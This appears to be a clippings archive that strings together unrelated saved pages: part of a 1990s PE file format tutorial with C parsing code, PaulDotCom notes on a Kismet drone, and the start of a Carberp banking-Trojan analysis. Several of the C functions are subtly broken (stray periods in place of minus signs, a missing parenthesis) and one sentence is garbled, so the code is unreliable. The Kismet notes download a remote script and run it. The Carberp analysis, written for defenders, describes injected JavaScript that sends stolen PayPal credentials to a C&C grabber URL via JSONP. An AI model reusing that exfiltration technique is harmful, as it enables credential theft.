#### Data sections, .bss, .rdata, .data

The .bss section represents uninitialized data for the application, including
all variables declared as static within a function or source module.

The .rdata section represents read-only data, such as literal strings,
constants, and debug directory information.

All other variables \(except automatic variables, which appear on the stack\)
are stored in the .data section. Basically, these are application or module
global variables.

#### Resources section, .rsrc

The .rsrc section contains resource information for a module. It begins with a
resource directory structure like most other sections, but this section's data
is further structured into a resource tree. The **IMAGE\_RESOURCE\_DIRECTORY**
, shown below, forms the root and nodes of the tree.

**WINNT.H**

[code]

    typedef struct _IMAGE_RESOURCE_DIRECTORY {
        ULONG   Characteristics;
        ULONG   TimeDateStamp;
        USHORT  MajorVersion;
        USHORT  MinorVersion;
        USHORT  NumberOfNamedEntries;
        USHORT  NumberOfIdEntries;
    } IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;
    
[/code]

Looking at the directory structure, you won't find any pointer to the next
nodes. Instead, there are two fields, _NumberOfNamedEntries_ and
_NumberOfIdEntries_ , used to indicate how many entries are attached to the
directory. By _attached_ , I mean the directory entries follow immediately
after the directory in the section data. The named entries appear first in
ascending alphabetical order, followed by the ID entries in ascending
numerical order.

A directory entry consists of two fields, as described in the following
**IMAGE\_RESOURCE\_DIRECTORY\_ENTRY** structure:

**WINNT.H**

[code]

    typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY {
        ULONG   Name;
        ULONG   OffsetToData;
    } IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;
    
[/code]

The two fields are used for different things depending on the level of the
tree. The _Name_ field is used to identify either a type of resource, a
resource name, or a resource's language ID. The _OffsetToData_ field is always
used to point to a sibling in the tree, either a directory node or a leaf
node.

Leaf nodes are the lowest node in the resource tree. They define the size and
location of the actual resource data. Each leaf node is represented using the
following **IMAGE\_RESOURCE\_DATA\_ENTRY** structure:

**WINNT.H**

[code]

    typedef struct _IMAGE_RESOURCE_DATA_ENTRY {
        ULONG   OffsetToData;
        ULONG   Size;
        ULONG   CodePage;
        ULONG   Reserved;
    } IMAGE_RESOURCE_DATA_ENTRY, *PIMAGE_RESOURCE_DATA_ENTRY;
    
[/code]

The two fields _OffsetToData_ and _Size_ indicate the location and size of the
actual resource data. Since this information is used primarily by functions
once the application has been loaded, it makes more sense to make the
_OffsetToData_ field a relative virtual address. This is precisely the case.
Interestingly enough, all other offsets, such as pointers from directory
entries to other directories, are offsets relative to the location of the root
node.

To make all of this a little clearer, consider Figure 2.

<img src='img/Temp2_8253.gif' width='788' height='587' alt='[PE ResourceTree
12787 bytes ]' />

**Figure 2. A simple resource tree structure**

Figure 2 depicts a very simple resource tree containing only two resource
objects, a menu, and a string table. Further, the menu and string table have
only one item each. Yet, you can see how complicated the resource tree becomes
--even with as few resources as this.

At the root of the tree, the first directory has one entry for each type of
resource the file contains, no matter how many of each type there are. In
Figure 2, there are two entries identified by the root, one for the menu and
one for the string table. If there had been one or more dialog resources
included in the file, the root node would have had one more entry and,
consequently, another branch for the dialog resources.

The basic resource types are identified in the file WINUSER.H and are listed
below:

**WINUSER.H**

[code]

    /*
     * Predefined Resource Types
     */
    #define RT_CURSOR           MAKEINTRESOURCE(1)
    #define RT_BITMAP           MAKEINTRESOURCE(2)
    #define RT_ICON             MAKEINTRESOURCE(3)
    #define RT_MENU             MAKEINTRESOURCE(4)
    #define RT_DIALOG           MAKEINTRESOURCE(5)
    #define RT_STRING           MAKEINTRESOURCE(6)
    #define RT_FONTDIR          MAKEINTRESOURCE(7)
    #define RT_FONT             MAKEINTRESOURCE(8)
    #define RT_ACCELERATOR      MAKEINTRESOURCE(9)
    #define RT_RCDATA           MAKEINTRESOURCE(10)
    #define RT_MESSAGETABLE     MAKEINTRESOURCE(11)
    
[/code]

At the top level of the tree, the MAKEINTRESOURCE values listed above are
placed in the _Name_ field of each type entry, identifying the different
resources by type.

Each of the entries in the root directory points to a sibling node in the
second level of the tree. These nodes are directories, too, each having their
own entries. At this level, the directories are used to identify the name of
each resource within a given type. If you had multiple menus defined in your
application, there would be an entry for each one here at the second level of
the tree.

As you are probably already aware, resources can be identified by name or by
integer. They are distinguished in this level of the tree via the _Name_ field
in the directory structure. If the most significant bit of the _Name_ field is
set, the other 31 bits are used as an offset to an
**IMAGE\_RESOURCE\_DIR\_STRING\_U** structure.

**WINNT.H**

[code]

    typedef struct _IMAGE_RESOURCE_DIR_STRING_U {
        USHORT  Length;
        WCHAR   NameString[ 1 ];
    } IMAGE_RESOURCE_DIR_STRING_U, *PIMAGE_RESOURCE_DIR_STRING_U;
    
[/code]

This structure is simply a 2-byte _Length_ field followed by _Length_ UNICODE
characters.

On the other hand, if the most significant bit of the _Name_ field is clear,
the lower 31 bits are used to represent the integer ID of the resource. Figure
2 shows the menu resource as a named resource and the string table as an ID
resource.

If there were two menu resources, one identified by name and one by resource,
they would both have entries immediately after the menu resource directory.
The named resource entry would appear first, followed by the integer-
identified resource. The directory fields _NumberOfNamedEntries_ and
_NumberOfIdEntries_ would each contain the value 1, indicating the presence of
one entry.

Below level two, the resource tree does not branch out any further. Level one
branches into directories representing each type of resource, and level two
branches into directories representing each resource by identifier. Level
three maps a one-to-one correspondence between the individually identified
resources and their respective language IDs. To indicate the language ID of a
resource, the _Name_ field of the directory entry structure is used to
indicate both the primary language and sublanguage ID for the resource. For
the value 0x0409, 0x09 represents the primary language as LANG\_ENGLISH, and
0x04 is defined as SUBLANG\_ENGLISH\_CAN for the sublanguage. The entire set
of language IDs is defined in the file WINNT.H.

Since the language ID node is the last directory node in the tree, the
_OffsetToData_ field in the entry structure is an offset to a leaf node--the
**IMAGE\_RESOURCE\_DATA\_ENTRY** structure mentioned earlier.

Referring back to Figure 2, you can see one data entry node for each language
directory entry. This node simply indicates the size of the resource data and
the relative virtual address where the resource data is located.

One advantage to having so much structure to the resource data section, .rsrc,
is that you can glean a great deal of information from the section without
accessing the resources themselves. For example, you can find out how many
there are of each type of resource, what resources--if any--use a particular
language ID, whether a particular resource exists or not, and the size of
individual types of resources. To demonstrate how to make use of this
information, the following function shows how to determine the different types
of resources a file includes:

[code]

    int     WINAPI GetListOfResourceTypes (
        LPVOID    lpFile,
        HANDLE    hHeap,
        char      **pszResTypes)
    {
        PIMAGE_RESOURCE_DIRECTORY          prdRoot;
        PIMAGE_RESOURCE_DIRECTORY_ENTRY    prde;
        char                               *pMem;
        int                                nCnt, i;
    
    
        /* Get root directory of resource tree. */
        if ((prdRoot = PIMAGE_RESOURCE_DIRECTORY)ImageDirectoryOffset
               (lpFile, IMAGE_DIRECTORY_ENTRY_RESOURCE)) == NULL)
            return 0;
    
        /* Allocate enough space from heap to cover all types. */
        nCnt = prdRoot->NumberOfIdEntries * (MAXRESOURCENAME + 1);
        *pszResTypes = (char *)HeapAlloc (hHeap,
                                          HEAP_ZERO_MEMORY,
                                          nCnt);
        if ((pMem = *pszResTypes) == NULL)
            return 0;
    
        /* Set pointer to first resource type entry. */
        prde = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((DWORD)prdRoot +
                   sizeof (IMAGE_RESOURCE_DIRECTORY));
    
        /* Loop through all resource directory entry types. */
        for (i=0; i<prdRoot->NumberOfIdEntries; i++)
            {
            if (LoadString (hDll, prde->Name, pMem, MAXRESOURCENAME))
                pMem += strlen (pMem) + 1;
    
            prde++;
            }
    
        return nCnt;
    }
    
[/code]

This function returns a list of resource type names in the string identified
by _pszResTypes_. Notice that, at the heart of this function, **LoadString**
is called using the _Name_ field of each resource type directory entry as the
string ID.of resource type strings whose IDs are defined the same as the type
specifiers in the directory entries.It would be rather easy to expand on these
functions or write new functions that extracted other information from this
section.

#### Export data section, .edata

The .edata section contains export data for an application or DLL. When
present, this section contains an export directory for getting to the export
information.

**WINNT.H**

[code]

    typedef struct _IMAGE_EXPORT_DIRECTORY {
        ULONG   Characteristics;
        ULONG   TimeDateStamp;
        USHORT  MajorVersion;
        USHORT  MinorVersion;
        ULONG   Name;
        ULONG   Base;
        ULONG   NumberOfFunctions;
        ULONG   NumberOfNames;
        PULONG  *AddressOfFunctions;
        PULONG  *AddressOfNames;
        PUSHORT *AddressOfNameOrdinals;
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
    
[/code]

The _Name_ field in the export directory identifies the name of the executable
module. _NumberOfFunctions_ and _NumberOfNames_ fields indicate how many
functions and function names are being exported from the module.

The _AddressOfFunctions_ field is an offset to a list of exported function
entry points. The _AddressOfNames_ field is the address of an offset to the
beginning of a null-separated list of exported function names.
_AddressOfNameOrdinals_ is an offset to a list of ordinal values \(each 2
bytes long\) for the same exported functions.

The three _AddressOf..._ fields are relative virtual addresses into the
address space of a process once the module has been loaded. Once the module is
loaded, the relative virtual address should be added to the module base
address to get the exact location in the address space of the process. Before
the file is loaded, however, the address can be determined by subtracting the
section header virtual address \(_VirtualAddress_\) from the given field
address, adding the section body offset \(_PointerToRawData_\) to the result,
and then using this value as an offset into the image file. The following
example illustrates this technique:

[code]

    int  WINAPI GetExportFunctionNames (
        LPVOID    lpFile,
        HANDLE    hHeap,
        char      **pszFunctions)
    {
        IMAGE_SECTION_HEADER       sh;
        PIMAGE_EXPORT_DIRECTORY    ped;
        char                       *pNames, *pCnt;
        int                        i, nCnt;
    
        /* Get section header and pointer to data directory 
           for .edata section. */
        if ((ped = (PIMAGE_EXPORT_DIRECTORY)ImageDirectoryOffset
                (lpFile, IMAGE_DIRECTORY_ENTRY_EXPORT)) == NULL)
            return 0;
        GetSectionHdrByName (lpFile, &sh, ".edata");
    
        /* Determine the offset of the export function names. */
        pNames = (char *)(*(int *)((int)ped->AddressOfNames -
                                   (int)sh.VirtualAddress   +
                                   (int)sh.PointerToRawData +
                                   (int)lpFile)    -
                          (int)sh.VirtualAddress   +
                          (int)sh.PointerToRawData +
                          (int)lpFile);
    
        /* Figure out how much memory to allocate for all strings. */
        pCnt = pNames;
        for (i=0; i<(int)ped->NumberOfNames; i++)
            while (*pCnt++);
        nCnt = (int)(pCnt. pNames);
    
        /* Allocate memory off heap for function names. */
        *pszFunctions = HeapAlloc (hHeap, HEAP_ZERO_MEMORY, nCnt);
    
        /* Copy all strings to buffer. */
        CopyMemory ((LPVOID)*pszFunctions, (LPVOID)pNames, nCnt);
    
        return nCnt;
    }
    
[/code]

Notice that in this function the variable _pNames_ is assigned by determining
first the address of the offset and then the actual offset location. Both the
address of the offset and the offset itself are relative virtual addresses and
must be translated before being used, as the function demonstrates. You could
write a similar function to determine the ordinal values or entry points of
the functions.

#### Import data section, .idata

The .idata section is import data, including the import directory and import
address name table. Although an IMAGE\_DIRECTORY\_ENTRY\_IMPORT directory is
defined, no corresponding import directory structure is included in the file
WINNT.H. Instead, there are several other structures called
IMAGE\_IMPORT\_BY\_NAME, IMAGE\_THUNK\_DATA, and IMAGE\_IMPORT\_DESCRIPTOR.
Personally, I couldn't make heads or tails of how these structures are
supposed to correlate to the .idata section, so I spent several hours
deciphering the .idata section body and came up with a much simpler structure.
I named this structure **IMAGE\_IMPORT\_MODULE\_DIRECTORY**.

[code]

    typedef struct tagImportDirectory
        {
        DWORD    dwRVAFunctionNameList;
        DWORD    dwUseless1;
        DWORD    dwUseless2;
        DWORD    dwRVAModuleName;
        DWORD    dwRVAFunctionAddressList;
        }IMAGE_IMPORT_MODULE_DIRECTORY,
         * PIMAGE_IMPORT_MODULE_DIRECTORY;
    
[/code]

Unlike the data directories of other sections, this one repeats one after
another for each imported module in the file. Think of it as an entry in a
list of module data directories, rather than a data directory to the entire
section of data. Each entry is a directory to the import information for a
specific module.

One of the fields in the **IMAGE\_IMPORT\_MODULE\_DIRECTORY** structure is
_dwRVAModuleName_ , a relative virtual address pointing to the name of the
module. There are also two _dwUseless_ parameters in the structure that serve
as padding to keep the structure aligned properly within the section. The PE
file format specification mentions something about import flags, a time/date
stamp, and major/minor versions, but these two fields remained empty
throughout my experimentation, so I still consider them useless.

Based on the definition of this structure, you can retrieve the names of
modules and all functions in each module that are imported by an executable
file. The following function demonstrates how to retrieve all the module names
imported by a particular PE file:

[code]

    int  WINAPI GetImportModuleNames (
        LPVOID    lpFile,
        HANDLE    hHeap,
        char      **pszModules)
    {
        PIMAGE_IMPORT_MODULE_DIRECTORY  pid;
        IMAGE_SECTION_HEADER            idsh;
        BYTE                            *pData;
        int                             nCnt = 0, nSize = 0, i;
        char                            *pModule[1024];
        char                            *psz;
    
        pid = (PIMAGE_IMPORT_MODULE_DIRECTORY)ImageDirectoryOffset 
                 (lpFile, IMAGE_DIRECTORY_ENTRY_IMPORT);
        pData = (BYTE *)pid;
    
        /* Locate section header for ".idata" section. */
        if (!GetSectionHdrByName (lpFile, &idsh, ".idata"))
            return 0;
    
        /* Extract all import modules. */
        while (pid->dwRVAModuleName)
            {
            /* Allocate buffer for absolute string offsets. */
            pModule[nCnt] = (char *)(pData + 
                   (pid->dwRVAModuleName-idsh.VirtualAddress));
            nSize += strlen (pModule[nCnt]) + 1;
    
            /* Increment to the next import directory entry. */
            pid++;
            nCnt++;
            }
    
        /* Copy all strings to one chunk of heap memory. */
        *pszModules = HeapAlloc (hHeap, HEAP_ZERO_MEMORY, nSize);
        psz = *pszModules;
        for (i=0; i<nCnt; i++)
            {
            strcpy (psz, pModule[i]);
            psz += strlen (psz) + 1;
            }
    
        return nCnt;
    }
    
[/code]

The function is pretty straightforward. However, one thing is worth pointing
out--notice the while loop. This loop is terminated when
_pid->dwRVAModuleName_ is 0. Implied here is that at the end of the list of
**IMAGE\_IMPORT\_MODULE\_DIRECTORY** structures is a null structure that has a
value of 0 for at least the _dwRVAModuleName_ field. This is the behavior I
observed in my experimentation with the file and later confirmed in the PE
file format specification.

The first field in the structure, _dwRVAFunctionNameList_ , is a relative
virtual address to a list of relative virtual addresses that each point to the
function names within the file. As shown in the following data, the module and
function names of all imported modules are listed in the .idata section data:

[code]

    E6A7 0000 F6A7 0000  08A8 0000 1AA8 0000  ................
    28A8 0000 3CA8 0000  4CA8 0000 0000 0000  (...<...L.......
    0000 4765 744F 7065  6E46 696C 654E 616D  ..GetOpenFileNam
    6541 0000 636F 6D64  6C67 3332 2E64 6C6C  eA..comdlg32.dll
    0000 2500 4372 6561  7465 466F 6E74 496E  ..%.CreateFontIn
    6469 7265 6374 4100  4744 4933 322E 646C  directA.GDI32.dl
    6C00 A000 4765 7444  6576 6963 6543 6170  l...GetDeviceCap
    7300 C600 4765 7453  746F 636B 4F62 6A65  s...GetStockObje
    6374 0000 D500 4765  7454 6578 744D 6574  ct....GetTextMet
    7269 6373 4100 1001  5365 6C65 6374 4F62  ricsA...SelectOb
    6A65 6374 0000 1601  5365 7442 6B43 6F6C  ject....SetBkCol
    6F72 0000 3501 5365  7454 6578 7443 6F6C  or..5.SetTextCol
    6F72 0000 4501 5465  7874 4F75 7441 0000  or..E.TextOutA..
    
[/code]

This particular section represents the beginning of the list of import module
and function names. If you begin examining the right section part of the data,
you should recognize the names of familiar Win32 API functions and the module
names they are found in. Reading from the top down, you get
**GetOpenFileNameA** , followed by the module name COMDLG32.DLL. Shortly after
that, you get **CreateFontIndirectA** , followed by the module GDI32.DLL and
then the functions **GetDeviceCaps** , **GetStockObject** , **GetTextMetrics**
, and so forth.

This pattern repeats throughout the .idata section. The first module name is
COMDLG32.DLL and the second is GDI32.DLL. Notice that only one function is
imported from the first module, while many functions are imported from the
second module. In both cases, the function names and the module name to which
they belong are ordered such that a function name appears first, followed by
the module name and then by the rest of the function names, if any.

The following function demonstrates how to retrieve the function names for a
specific module:

[code]

    int  WINAPI GetImportFunctionNamesByModule (
        LPVOID    lpFile,
        HANDLE    hHeap,
        char      *pszModule,
        char      **pszFunctions)
    {
        PIMAGE_IMPORT_MODULE_DIRECTORY  pid;
        IMAGE_SECTION_HEADER     idsh;
        DWORD                    dwBase;
        int                      nCnt = 0, nSize = 0;
        DWORD                    dwFunction;
        char                     *psz;
    
    
        /* Locate section header for ".idata" section. */
        if (!GetSectionHdrByName (lpFile, &idsh, ".idata"))
            return 0;
    
        pid = (PIMAGE_IMPORT_MODULE_DIRECTORY)ImageDirectoryOffset 
                 (lpFile, IMAGE_DIRECTORY_ENTRY_IMPORT);
    
        dwBase = ((DWORD)pid. idsh.VirtualAddress);
    
        /* Find module's pid. */
        while (pid->dwRVAModuleName &&
               strcmp (pszModule, 
                      (char *)(pid->dwRVAModuleName+dwBase)))
            pid++;
    
        /* Exit if the module is not found. */
        if (!pid->dwRVAModuleName)
            return 0;
    
        /* Count number of function names and length of strings. */
        dwFunction = pid->dwRVAFunctionNameList;
        while (dwFunction                      &&
               *(DWORD *)(dwFunction + dwBase) &&
               *(char *)((*(DWORD *)(dwFunction + dwBase)) +
                dwBase+2))
            {
            nSize += strlen ((char *)((*(DWORD *)(dwFunction +
                 dwBase)) + dwBase+2)) + 1;
            dwFunction += 4;
            nCnt++;
            }
    
        /* Allocate memory off heap for function names. */
        *pszFunctions = HeapAlloc (hHeap, HEAP_ZERO_MEMORY, nSize);
        psz = *pszFunctions;
    
        /* Copy function names to memory pointer. */
        dwFunction = pid->dwRVAFunctionNameList;
        while (dwFunction                      &&
               *(DWORD *)(dwFunction + dwBase) &&
               *((char *)((*(DWORD *)(dwFunction + dwBase)) +
                dwBase+2)))
            {
            strcpy (psz, (char *)((*(DWORD *)(dwFunction + dwBase)) +
                    dwBase+2));
            psz += strlen((char *)((*(DWORD *)(dwFunction + dwBase))+
                    dwBase+2)) + 1;
            dwFunction += 4;
            }
    
        return nCnt;
    }
    
[/code]

Like the **GetImportModuleNames** function, this function relies on the end of
each list of information to have a zeroed entry. In this case, the list of
function names ends with one that is zero.

The final field, _dwRVAFunctionAddressList_ , is a relative virtual address to
a list of virtual addresses that will be placed in the section data by the
loader when the file is loaded. Before the file is loaded, however, these
virtual addresses are replaced by relative virtual addresses that correspond
exactly to the list of function names. So before the file is loaded, there are
two identical lists of relative virtual addresses pointing to imported
function names.

#### Debug information section, .debug

Debug information is initially placed in the .debug section. The PE file
format also supports separate debug files \(normally identified with a .DBG
extension\) as a means of collecting debug information in a central location.
The debug section contains the debug information, but the debug directories
live in the .rdata section mentioned earlier. Each of those directories
references debug information in the .debug section. The debug directory
structure is defined as an **IMAGE\_DEBUG\_DIRECTORY** , as follows:

**WINNT.H**

[code]

    typedef struct _IMAGE_DEBUG_DIRECTORY {
        ULONG   Characteristics;
        ULONG   TimeDateStamp;
        USHORT  MajorVersion;
        USHORT  MinorVersion;
        ULONG   Type;
        ULONG   SizeOfData;
        ULONG   AddressOfRawData;
        ULONG   PointerToRawData;
    } IMAGE_DEBUG_DIRECTORY, *PIMAGE_DEBUG_DIRECTORY;
    
[/code]

The section is divided into separate portions of data representing different
types of debug information. For each one there is a debug directory described
above. The different types of debug information are listed below:

**WINNT.H**

[code]

    #define IMAGE_DEBUG_TYPE_UNKNOWN          0
    #define IMAGE_DEBUG_TYPE_COFF             1
    #define IMAGE_DEBUG_TYPE_CODEVIEW         2
    #define IMAGE_DEBUG_TYPE_FPO              3
    #define IMAGE_DEBUG_TYPE_MISC             4
    
[/code]

The _Type_ field in each directory indicates which type of debug information
the directory represents. As you can see in the list above, the PE file format
supports many different types of debug information, as well as some other
informational fields. Of those, the **IMAGE\_DEBUG\_TYPE\_MISC** information
is unique. This information was added to represent miscellaneous information
about the executable image that could not be added to any of the more
structured data sections in the PE file format. This is the only location in
the image file where the image name is sure to appear. If an image exports
information, the export data section will also include the image name.

Each type of debug information has its own header structure that defines its
data. Each of these is listed in the file WINNT.H. One nice thing about the
**IMAGE\_DEBUG\_DIRECTORY** structure is that it includes two fields that
identify the debug information. The first of these, _AddressOfRawData_ , is
the relative virtual address of the data once the file is loaded. The other,
_PointerToRawData_ , is an actual offset within the PE file, where the data is
located. This makes it easy to locate specific debug information.

As a last example, consider the following function, which extracts the image
name from the **IMAGE\_DEBUG\_MISC** structure:

[code]

    int    WINAPI RetrieveModuleName (
        LPVOID    lpFile,
        HANDLE    hHeap,
        char      **pszModule)
    {
    
        PIMAGE_DEBUG_DIRECTORY    pdd;
        PIMAGE_DEBUG_MISC         pdm = NULL;
        int                       nCnt;
    
        if (!(pdd = (PIMAGE_DEBUG_DIRECTORY)ImageDirectoryOffset
                   (lpFile, IMAGE_DIRECTORY_ENTRY_DEBUG)))
            return 0;
    
        while (pdd->SizeOfData)
            {
            if (pdd->Type == IMAGE_DEBUG_TYPE_MISC)
                {
                pdm = (PIMAGE_DEBUG_MISC)
                    ((DWORD)pdd->PointerToRawData + (DWORD)lpFile);
    
                nCnt = lstrlen (pdm->Data)*(pdm->Unicode?2:1);
                *pszModule = (char *)HeapAlloc (hHeap,
                                                HEAP_ZERO_MEMORY,
                                                nCnt+1;
                CopyMemory (*pszModule, pdm->Data, nCnt);
    
                break;
                }
    
            pdd ++;
            }
    
        if (pdm != NULL)
            return nCnt;
        else
            return 0;
    }
    
[/code]

As you can see, the structure of the debug directory makes it relatively easy
to locate a specific type of debug information. Once the
**IMAGE\_DEBUG\_MISC** structure is located, extracting the image name is as
simple as invoking the **CopyMemory** function.

As mentioned above, debug information can be stripped into separate .DBG
files. The Windows NT SDK includes a utility called REBASE.EXE that serves
this purpose. For example, in the following statement an executable image
named TEST.EXE is being stripped of debug information:

[code]

    rebase -b 40000 -x c:\samples\testdir test.exe
    
[/code]

The debug information is placed in a new file called TEST.DBG and located in
the path specified, in this case c:\samples\testdir. The file begins with a
single **IMAGE\_SEPARATE\_DEBUG\_HEADER** structure, followed by a copy of the
section headers that exist in the stripped executable image. Then the .debug
section data follows the section headers. So, right after the section headers
are the series of **IMAGE\_DEBUG\_DIRECTORY** structures and their associated
data. The debug information itself retains the same structure as described
above for normal image file debug information.

##### _`Copyright © 1996,1997 Johannes Plachy`_

#####  _`Last modified: 25.08.97`_

<img src='img/Temp2_8252.gif' width='1' height='1' />

# Episode77 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:33:51 PM_  
---|---  
**Updated:**| _8/5/2009 12:33:59 PM_  
**Author:**| __  
**Tags:**| _wifi pauldotcom_  
  

# Tech Segment: Kismet Drone on OpenWrt Whiterussian 0.9

Install packages:

[code]

    ipkg install wl kismet-drone
    
[/code]

Modify the source directive in /etc/kismet/kismet\_drone.conf

[code]

    source=wrt54g,eth1,wrt54g 
    # Do we channelhop?                   
    channelhop=false 
    
    
[/code]

Make sure your wireless adapter is enabled\!

[code]

    nvram get wl0_radio
    
[/code]

0 means off, to enable “nvram set wl0\_radio=1 ; nvram commit ; wifi”

Modify the allowed hosts directive to allow you IP to connect

[code]

    allowedhosts=10.13.37.10/32 
    
    
[/code]

Configure you wireless settings:

[code]

    /sbin/ifconfig eth1 up 
    /usr/sbin/wl ap 0 
    /usr/sbin/wl passive 1 
    /usr/sbin/wl promisc1  
    /usr/sbin/wl monitor 1 
    /usr/bin/kismet_drone-f/etc/kismet/kismet_drone.conf
    
    
[/code]

[code]

    wget http://wrt54ghacks.com/whiterussian/chanhop.sh ; chmod +x chanhop.sh
    ./chanhop.sh -p openwrt -i eth1 -b IEEE80211BJP
    
    
[/code]

[code]

    # nvram set wl0_country_code=All 
    # nvram commit 
    
[/code]

# Faster More Effective Flowgraph-based Malware Classification

**Created:**| _10/19/2013 10:36:37 AM_  
---|---  
**Updated:**| _10/21/2013 3:29:28 PM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis similarity_  
  

  

  
<img src='img/fastermoreeffectflowgraph-
basedmalwareclassification-111121164754-phpapp01.pptx' width='265' height='49'
/>  
  
  
  

<img src='img/fastermoreeffectflowgraph-
basedmalwareclassification-111121164754-phpapp01.pdf' width='100%'
height='20701' />  
  

# Man-In-The-Browser: The power of JavaScript at the example of Carberp

**Created:**| _12/14/2010 8:50:23 AM_  
---|---  
**Updated:**| _12/14/2010 9:10:54 AM_  
**Author:**| __  
**Tags:**| _web-app-sec attacks web JavaScript browser_  
  

# Man-In-The-Browser: The power of JavaScript at the example of Carberp

<img src='img/Temp2_5154.gif' alt='Attention: open in a new window.' />Carberp
hit the scene with a big bang last month targeting financial institutions with
transactional two factor authentication schemes and we looked at what Carberp
does to an infected system in a previous in-depth report.

Today’s Trojans are normally “just” an enabler for some sophisticated HTML and
JavaScript injection into a bank website that is being targeted. The Trojan
provides this Man-In-The-Browser capability and the configuration file defines
exactly what happens. This is where the real damage is done. In that sense,
Carberp follows the same principle as all other transactional Trojans such as
Zeus, Gozi, Spyeye, Silon, etc.

While the HTML injection has been fairly static in the past \(e.g. an
additional ATM Pin input field\), the sophistication of the injected
JavaScript for Carberp is simply stunning.

Not long after the initial wave of Carberp, we came across another Carberp
variant that had a nice small configuration file and as such provided us with
the perfect opportunity to showcase Carberp’ s configuration system, how the
website injection mechanism works and a few of the most impressing snippets of
JavaScript code that was being used.

Credits go to Alex Shipp who reversed engineered some samples including the
configuration mechanism. His article can be seen here:
http://www.trustdefender.com/trustdefender-labs-blog-carberp-tricks-and-traps-
a-technical-overview.html

# 1 Introduction

For this report, we looked at two Carberp samples

  * MD5 54f9f6dd8fbbd40ff61ed66fc9a0ac4f which was seen on Nov 15.
  * MD5 2b36b49baec741ba8e82ae32dca19906 which was seen on Dec 1.

As we regularly experience, antivirus detection is pretty bad.

  * For the first sample, Virustotal detection reports a 16.3% detection rate \(7/43\) http://www.virustotal.com/file-scan/report.html?id=2c235893f1232185f935af425f66c3b1d7120d594d14be57f01b9f3873ddb76c-1289808255.  
And a big cheers to Microsoft for being the only antivirus Engine to get the
name right J

  * For the second sample, Virustotal detection reports an 11.6% detection rate \(5/43\) http://www.virustotal.com/file-scan/report.html?id=8370576e842f1219c8e9c9486cb4c2d661a3b1ef2b184ea59ed45ac69159ddd4-1291196003 with only generic detections.

As we’ll see further below, this Carberp sample behaves exactly \(\!\) as all
Carberp samples before and I have a hard time understanding why it’s so hard
to detect and why it’s so hard to see that this is the Carberp Trojan.</rant>

As we have analysed the Carberp Trojan in very much detail before, we won’t go
into any details of how it infects a system and how you can detect it. Please
refer to our TrustDefender Labs in-depth report in October for full details.

The payload was distributed from <<REMOVED>> which is a Phoenix exploit kit
and it used <<REMOVED>> as its C&C server. The name doesn’t resolve now
anymore, so that’s good.

The second sample used <<REMOVED>> as C&C server. Passive DNS reveals that
this is also known as <<REMOVED>> \[1\].

Similarly to previous Carberp Trojans, this sample will download the following
plugins

  * /cfg/imp and /cfg/dknew
  * /cfg/passw.plug
  * /cfg/stopav.plug
  * /cfg/miniav.plug

However this particular sample will also download and execute a file from
<<REMOVED>>. <<REMOVED>> resolved to <<REMOVED>>

As we’ll find out later, this is a fairly nasty rogue antivirus engine.

## 1.1 Change in tactics?

Does this constitute a change of tactics for the guys behind Carberp? Are they
moving away from their sophisticated attacks on banking websites to generating
revenue from Rogue AV engines?

The way they’ll scam for their business, it seems absolutely plausible that
they’ll generate a huge amount of revenue through selling rogue AV engines.

# 2 The configuration file

The downloaded /cfg/imp file is the configuration file for this variant and
surprisingly this configuration file is really nice and simple and as such it
provides a good opportunity to illustrate how Carberp works.

As we know from the last report, Carberp has full control over any HTTP or
HTTPS session \(EV SSL included\) and can inject any kind of additional HTML
or JavaScript content into the current page.

This behaviour is nothing special and puts Carberp into the same league as
Zeus, Spyeye, URLZone, etc.

The decrypted configuration file looks like this:

<img src='img/Temp2_5156.gif' />

This configuration file basically means the following:

  * If the browser goes to any PayPal site \(\*paypal.com\*\), inject the attached script into the website, and
  * Add an \!deactivated\!ONEVENT event to the submit button

Now the injected JavaScript does the following:

  * It will get the email \(username\) and password from the page and will send these stolen details to the C&C server via https to https://<<REMOVED>>/mv/paypal.com/grabber.php?idt=%user%&name=<EMAIL>%pass=<PASS>
  * Typically browsers have a same domain security setting where no information can be leaked to other domains, but the perpetrators use a technique called ‘JSONP’ where they don’t physically send the information out, they “just” request a JavaScript from a different site with the stolen credentials as parameter\! And this is allowed\!\!\!
  * This JavaScript will be called when the user clicks on Login and will obviously also trigger the “real” login to PayPal.

The stolen credentials will be sent to an encrypted site \(<<REMOVED>> in our
case\). When we looked at the certificate, we realized that it is issued to
<<REMOVED>>. The experienced reader will recognize that <<REMOVED>> was one of
the main C&C servers in the Netherlands in the first wave of Carberp Trojans
that caused quite some damage.

<img src='img/Temp2_5161.gif' />

Now if we go to the PayPal site, we can see the injection working within the
browser:

<img src='img/Temp2_5157.gif' />

Obviously this JavaScript runs now within the HTTPS session of PayPal and can
potentially cause a whole lot of problems.

This is a perfect example that highlights the base principles of any kind of
JavaScript injection into a website via a Trojan. The C&C server actually
needs to be HTTPS as otherwise the browser would complain about mixed HTTP and
HTTPS content. In addition, the only other thing that’s needed is JSONP, some
JavaScript knowledge and in-depth knowledge about the website that is being
attacked.

In the next section, we’ll look into some JavaScript examples that were used
in the first wave of Carberp attacks that did some really smart things.

# 3 Advanced HTML/JavaScript injection

The main emphasis of this in-depth report is not the Trojans themselves, but
rather to observe what they do to the banking session \(HTML\) within the web
browser. We look in detail at the chosen approach and provide details how they
perform their nasty work.

## 3.1 Some general notes

You’ll see quite a bit of JavaScript over the next couple of pages and I hope
to find the right balance between technical information and understandibility.

The fraudsters behind Carberp spend considerable time not just on the
configuration file, but making sure that they have a very flexible and dynamic
scheme in place to compromise a banking website. They want to do much more
than “just” simple information stealing where some information is sent with
the POST request to somewhere. Instead, they want to be able to dynamically
send and receive information to steal data even very sophisticated
authentication schemes are used.

However in order to do this, information has to be sent to and from malicious
hosts via JavaScript. All browsers have a “same domain” security model in
place, which basically means that such information can only be sent to the
current domain and not to anyone else \(to actually prevent exactly these
things\).

So how can it be that the bad guys are successful in doing dynamic \(AJAX\)
requests to their C&C servers?

The answer is: they don’t. They use a feature known for AJAX as JSONP \(or
JSON with Padding\). That essentially means that they are not even sending any
information via AJAX.

